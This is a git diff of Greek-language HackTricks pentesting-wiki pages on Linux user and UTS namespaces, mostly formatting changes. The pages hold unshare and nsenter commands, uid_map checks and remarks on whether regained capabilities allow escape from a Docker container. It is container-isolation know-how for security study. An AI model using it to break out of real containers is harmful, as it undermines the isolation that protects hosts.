|
||||||
|
@ -44,39 +46,50 @@ sudo unshare -U [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου με τον οποίο το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου PID namespace (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στο νέο namespace, μόνο οι παιδικές διεργασίες της.
|
|
||||||
- Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι παιδικές διεργασίες του βρίσκονται στο αρχικό PID namespace.
|
* Ο πυρήνας του Linux επιτρέπει σε μια διεργασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου PID namespace (αναφέρεται ως "διεργασία unshare") δεν εισέρχεται στο νέο namespace, μόνο οι παιδικές διεργασίες της.
|
||||||
- Η πρώτη παιδική διεργασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του namespace αν δεν υπάρχουν άλλες διεργασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτό το namespace.
|
* Η εκτέλεση της εντολής `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι παιδικές διεργασίες του βρίσκονται στο αρχικό PID namespace.
|
||||||
|
* Η πρώτη παιδική διεργασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του namespace αν δεν υπάρχουν άλλες διεργασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτό το namespace.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να δεσμεύσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να δεσμεύσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου PID namespace.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές διεργασίες του περιορίζονται στο νέο αυτό namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου PID namespace.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές διεργασίες του περιορίζονται στο νέο αυτό namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να χρησιμοποιήσετε το user namespace, ο δαίμονας του Docker πρέπει να ξεκινήσει με την επιλογή **`--userns-remap=default`** (Στο Ubuntu 14.04, αυτό μπορεί να γίνει τροποποιώντας το αρχείο `/etc/default/docker` και στη συνέχεια εκτελώντας `sudo service docker restart`)
|
Για να χρησιμοποιήσετε το user namespace, ο δαίμονας του Docker πρέπει να ξεκινήσει με την επιλογή **`--userns-remap=default`** (Στο Ubuntu 14.04, αυτό μπορεί να γίνει τροποποιώντας το αρχείο `/etc/default/docker` και στη συνέχεια εκτελώντας `sudo service docker restart`)
|
||||||
|
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/user
|
ls -l /proc/self/ns/user
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
||||||
```
|
```
|
||||||
|
|
||||||
Είναι δυνατόν να ελέγξετε τον χάρτη χρήστη από το container του Docker με την εντολή:
|
Είναι δυνατόν να ελέγξετε τον χάρτη χρήστη από το container του Docker με την εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /proc/self/uid_map
|
cat /proc/self/uid_map
|
||||||
0 0 4294967295 --> Root is root in host
|
0 0 4294967295 --> Root is root in host
|
||||||
0 231072 65536 --> Root is 231072 userid in host
|
0 231072 65536 --> Root is 231072 userid in host
|
||||||
```
|
```
|
||||||
|
|
||||||
Ή από τον κεντρικό υπολογιστή με:
|
Ή από τον κεντρικό υπολογιστή με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /proc/<pid>/uid_map
|
cat /proc/<pid>/uid_map
|
||||||
```
|
```
|
||||||
### Βρείτε όλους τους χώρους ονομάτων χρηστών
|
|
||||||
|
#### Βρείτε όλους τους χώρους ονομάτων χρηστών
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -86,29 +99,30 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### Εισέλθετε μέσα σε ένα χώρο ονομάτων χρήστη
|
#### Εισέλθετε μέσα σε ένα χώρο ονομάτων χρήστη
|
||||||
|
|
||||||
To enter inside a User namespace, follow these steps:
|
To enter inside a User namespace, follow these steps:
|
||||||
|
|
||||||
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `unshare -r bash`. Αυτή η εντολή θα δημιουργήσει ένα νέο χώρο ονομάτων χρήστη και θα εκτελέσει ένα νέο αντίγραφο του τερματικού shell μέσα σε αυτόν.
|
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `unshare -r bash`. Αυτή η εντολή θα δημιουργήσει ένα νέο χώρο ονομάτων χρήστη και θα εκτελέσει ένα νέο αντίγραφο του τερματικού shell μέσα σε αυτόν.
|
||||||
|
|
||||||
2. Τώρα είστε μέσα στον νέο χώρο ονομάτων χρήστη. Μπορείτε να εκτελέσετε εντολές με τα δικαιώματα του χρήστη που ανήκει σε αυτόν τον χώρο ονομάτων.
|
2. Τώρα είστε μέσα στον νέο χώρο ονομάτων χρήστη. Μπορείτε να εκτελέσετε εντολές με τα δικαιώματα του χρήστη που ανήκει σε αυτόν τον χώρο ονομάτων.
|
||||||
|
|
||||||
3. Για να επιστρέψετε στον αρχικό χώρο ονομάτων χρήστη, απλά εκτελέστε την εντολή `exit`.
|
3. Για να επιστρέψετε στον αρχικό χώρο ονομάτων χρήστη, απλά εκτελέστε την εντολή `exit`.
|
||||||
|
|
||||||
Με αυτόν τον τρόπο, μπορείτε να εξερευνήσετε και να εκτελέσετε εντολές με διαφορετικά δικαιώματα χρήστη, εντός ενός απομονωμένου χώρου ονομάτων.
|
Με αυτόν τον τρόπο, μπορείτε να εξερευνήσετε και να εκτελέσετε εντολές με διαφορετικά δικαιώματα χρήστη, εντός ενός απομονωμένου χώρου ονομάτων.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nsenter -U TARGET_PID --pid /bin/bash
|
nsenter -U TARGET_PID --pid /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Επίσης, μπορείτε να **εισέλθετε μόνο σε ένα άλλο namespace διεργασίας αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν δείκτη** που να δείχνει σε αυτό (όπως `/proc/self/ns/user`).
|
Επίσης, μπορείτε να **εισέλθετε μόνο σε ένα άλλο namespace διεργασίας αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν δείκτη** που να δείχνει σε αυτό (όπως `/proc/self/ns/user`).
|
||||||
|
|
||||||
### Δημιουργία νέου User namespace (με αντιστοιχίσεις)
|
#### Δημιουργία νέου User namespace (με αντιστοιχίσεις)
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
|
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Container
|
# Container
|
||||||
sudo unshare -U /bin/bash
|
sudo unshare -U /bin/bash
|
||||||
|
@ -118,38 +132,19 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
|
||||||
ps -ef | grep bash # The user inside the host is still root, not nobody
|
ps -ef | grep bash # The user inside the host is still root, not nobody
|
||||||
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
||||||
```
|
```
|
||||||
### Ανάκτηση Δυνατοτήτων
|
|
||||||
|
#### Ανάκτηση Δυνατοτήτων
|
||||||
|
|
||||||
Στην περίπτωση των user namespaces, **όταν δημιουργείται ένα νέο user namespace, η διεργασία που εισέρχεται στο namespace αυτό αποκτά ένα πλήρες σύνολο δυνατοτήτων μέσα σε αυτό το namespace**. Αυτές οι δυνατότητες επιτρέπουν στη διεργασία να εκτελεί προνομιούχες λειτουργίες, όπως **προσάρτηση** **αρχείων συστήματος**, δημιουργία συσκευών ή αλλαγή κυριότητας αρχείων, αλλά **μόνο μέσα στο πλαίσιο του user namespace της**.
|
Στην περίπτωση των user namespaces, **όταν δημιουργείται ένα νέο user namespace, η διεργασία που εισέρχεται στο namespace αυτό αποκτά ένα πλήρες σύνολο δυνατοτήτων μέσα σε αυτό το namespace**. Αυτές οι δυνατότητες επιτρέπουν στη διεργασία να εκτελεί προνομιούχες λειτουργίες, όπως **προσάρτηση** **αρχείων συστήματος**, δημιουργία συσκευών ή αλλαγή κυριότητας αρχείων, αλλά **μόνο μέσα στο πλαίσιο του user namespace της**.
|
||||||
|
|
||||||
Για παράδειγμα, όταν έχετε τη δυνατότητα `CAP_SYS_ADMIN` μέσα σε ένα user namespace, μπορείτε να εκτελέσετε λειτουργίες που συνήθως απαιτούν αυτή τη δυνατότητα, όπως η προσάρτηση αρχείων συστήματος, αλλά μόνο μέσα στο πλαίσιο του user namespace σας. Οι λειτουργίες που εκτελείτε με αυτή τη δυνατότητα δεν θα επηρεάσουν το σύστημα του κεντρικού υπολογιστή ή άλλα namespaces.
|
Για παράδειγμα, όταν έχετε τη δυνατότητα `CAP_SYS_ADMIN` μέσα σε ένα user namespace, μπορείτε να εκτελέσετε λειτουργίες που συνήθως απαιτούν αυτή τη δυνατότητα, όπως η προσάρτηση αρχείων συστήματος, αλλά μόνο μέσα στο πλαίσιο του user namespace σας. Οι λειτουργίες που εκτελείτε με αυτή τη δυνατότητα δεν θα επηρεάσουν το σύστημα του κεντρικού υπολογιστή ή άλλα namespaces.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
|
||||||
Επομένως, ακόμα κι αν η απόκτηση μιας νέας διεργασίας μέσα σε ένα νέο User namespace **θα σας δώσει όλες τις δυνατότητες πίσω** (CapEff: 000001ffffffffff), στην πραγματικότητα μπορείτε **να χρησιμοποιήσετε μόνο αυτές που σχετίζονται με το namespace** (π.χ. προσάρτηση) αλλά όχι όλες. Έτσι, αυτό καθαυτό δεν είναι αρκετό για να δραπετεύσετε από ένα Docker container.
|
Επομένως, ακόμα κι αν η απόκτηση μιας νέας διεργασίας μέσα σε ένα νέο User namespace **θα σας δώσει όλες τις δυνατότητες πίσω** (CapEff: 000001ffffffffff), στην πραγματικότητα μπορείτε **να χρησιμοποιήσετε μόνο αυτές που σχετίζονται με το namespace** (π.χ. προσάρτηση) αλλά όχι όλες. Έτσι, αυτό καθαυτό δεν είναι αρκετό για να δραπετεύσετε από ένα Docker container.
|
||||||
{% endhint %}
|
|
||||||
```bash
|
|
||||||
# There are the syscalls that are filtered after changing User namespace with:
|
|
||||||
unshare -UmCpf bash
|
|
||||||
|
|
||||||
Probando: 0x067 . . . Error
|
\`\`\`bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash
|
||||||
Probando: 0x070 . . . Error
|
|
||||||
Probando: 0x074 . . . Error
|
Probando: 0x067 . . . Error Probando: 0x070 . . . Error Probando: 0x074 . . . Error Probando: 0x09b . . . Error Probando: 0x0a3 . . . Error Probando: 0x0a4 . . . Error Probando: 0x0a7 . . . Error Probando: 0x0a8 . . . Error Probando: 0x0aa . . . Error Probando: 0x0ab . . . Error Probando: 0x0af . . . Error Probando: 0x0b0 . . . Error Probando: 0x0f6 . . . Error Probando: 0x12c . . . Error Probando: 0x130 . . . Error Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error Probando: 0x143 . . . Error
|
||||||
Probando: 0x09b . . . Error
|
|
||||||
Probando: 0x0a3 . . . Error
|
|
||||||
Probando: 0x0a4 . . . Error
|
|
||||||
Probando: 0x0a7 . . . Error
|
|
||||||
Probando: 0x0a8 . . . Error
|
|
||||||
Probando: 0x0aa . . . Error
|
|
||||||
Probando: 0x0ab . . . Error
|
|
||||||
Probando: 0x0af . . . Error
|
|
||||||
Probando: 0x0b0 . . . Error
|
|
||||||
Probando: 0x0f6 . . . Error
|
|
||||||
Probando: 0x12c . . . Error
|
|
||||||
Probando: 0x130 . . . Error
|
|
||||||
Probando: 0x139 . . . Error
|
|
||||||
Probando: 0x140 . . . Error
|
|
||||||
Probando: 0x141 . . . Error
|
|
||||||
Probando: 0x143 . . . Error
|
|
||||||
```
|
```
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
|
@ -167,3 +162,6 @@ Probando: 0x143 . . . Error
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# UTS Περιβάλλον
|
# UTS Namespace
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -29,9 +29,11 @@
|
||||||
### Δημιουργία διαφορετικών Περιβαλλόντων
|
### Δημιουργία διαφορετικών Περιβαλλόντων
|
||||||
|
|
||||||
#### Εντολική γραμμή
|
#### Εντολική γραμμή
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo unshare -u [--mount-proc] /bin/bash
|
sudo unshare -u [--mount-proc] /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων έχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
Με την προσάρτηση μιας νέας περίπτωσης του συστήματος αρχείων `/proc` χρησιμοποιώντας την παράμετρο `--mount-proc`, εξασφαλίζετε ότι ο νέος χώρος ονομάτων έχει μια **ακριβή και απομονωμένη προβολή των πληροφοριών διεργασιών που είναι συγκεκριμένες για αυτόν τον χώρο ονομάτων**.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -41,22 +43,27 @@ sudo unshare -u [--mount-proc] /bin/bash
|
||||||
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου που ο πυρήνας Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
Όταν το `unshare` εκτελείται χωρίς την επιλογή `-f`, συναντάται ένα σφάλμα λόγω του τρόπου που ο πυρήνας Linux χειρίζεται τους νέους χώρους ονομάτων PID (Process ID). Τα κύρια στοιχεία και η λύση παρουσιάζονται παρακάτω:
|
||||||
|
|
||||||
1. **Εξήγηση του προβλήματος**:
|
1. **Εξήγηση του προβλήματος**:
|
||||||
- Ο πυρήνας Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (που αναφέρεται ως "διαδικασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
|
||||||
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
* Ο πυρήνας Linux επιτρέπει σε μια διεργασία να δημιουργεί νέους χώρους ονομάτων χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διεργασία που προκαλεί τη δημιουργία ενός νέου χώρου ονομάτων PID (που αναφέρεται ως "διαδικασία unshare") δεν εισέρχεται στον νέο χώρο ονομάτων, μόνο οι υποδιεργασίες της το κάνουν.
|
||||||
- Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
* Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διεργασία με το `unshare`. Ως αποτέλεσμα, το `/bin/bash` και οι υποδιεργασίες του βρίσκονται στον αρχικό χώρο ονομάτων PID.
|
||||||
|
* Η πρώτη υποδιεργασία του `/bin/bash` στον νέο χώρο ονομάτων γίνεται PID 1. Όταν αυτή η διεργασία τερματίζει, ενεργοποιείται η εκκαθάριση του χώρου ονομάτων αν δεν υπάρχουν άλλες διεργασίες, καθώς η PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διεργασιών. Ο πυρήνας Linux θα απενεργοποιήσει στη συνέχεια την εκχώρηση PID σε αυτόν τον χώρο ονομάτων.
|
||||||
|
|
||||||
2. **Συνέπεια**:
|
2. **Συνέπεια**:
|
||||||
- Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να δεσμεύσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
|
||||||
|
* Η έξοδος της PID 1 σε έναν νέο χώρο ονομάτων οδηγεί στην απενεργοποίηση της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα την αποτυχία της συνάρτησης `alloc_pid` να δεσμεύσει ένα νέο PID κατά τη δημιουργία μιας νέας διεργασίας, παράγοντας το σφάλμα "Cannot allocate memory".
|
||||||
|
|
||||||
3. **Λύση**:
|
3. **Λύση**:
|
||||||
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
|
||||||
- Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
* Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει ένα νέο διεργασία μετά τη δημιουργία του νέου χώρου ονομάτων PID.
|
||||||
|
* Εκτελώντας `%unshare -fp /bin/bash%` εξασφαλίζεται ότι η εντολή `unshare` ίδια γίνεται PID 1 στον νέο χώρο ονομάτων. Το `/bin/bash` και οι υποδιεργασίες του περιορίζονται στον νέο αυτόν χώρο ονομάτων, αποτρέποντας την πρόωρη έξοδο της PID 1 και επιτρέποντας την κανονική εκχώρηση PID.
|
||||||
|
|
||||||
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
Εξασφαλίζοντας ότι το `unshare` εκτελείται με τη σημαία `-f`, ο νέος χώρος ονομάτων PID διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και στις υποδιεργασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα δέσμευσης μνήμης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||||
```
|
```
|
||||||
###  Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
|
||||||
|
#### Ελέγξτε σε ποιο namespace βρίσκεται η διεργασία σας
|
||||||
|
|
||||||
To check which namespace your process is in, you can use the following command:
|
To check which namespace your process is in, you can use the following command:
|
||||||
|
|
||||||
|
@ -65,44 +72,45 @@ cat /proc/$$/ns/uts
|
||||||
```
|
```
|
||||||
|
|
||||||
This will display the inode number of the UTS (Unix Timesharing System) namespace associated with your process.
|
This will display the inode number of the UTS (Unix Timesharing System) namespace associated with your process.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /proc/self/ns/uts
|
ls -l /proc/self/ns/uts
|
||||||
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
||||||
```
|
```
|
||||||
### Βρείτε όλα τα UTS namespaces
|
|
||||||
|
#### Βρείτε όλα τα UTS namespaces
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
|
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
|
||||||
# Find the processes with an specific namespace
|
# Find the processes with an specific namespace
|
||||||
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||||
```
|
```
|
||||||
{% code %}
|
|
||||||
|
|
||||||
### Εισέρχονται μέσα σε ένα UTS namespace
|
```
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Εισέρχονται μέσα σε ένα UTS namespace
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nsenter -u TARGET_PID --pid /bin/bash
|
nsenter -u TARGET_PID --pid /bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει προς αυτό (όπως `/proc/self/ns/uts`).
|
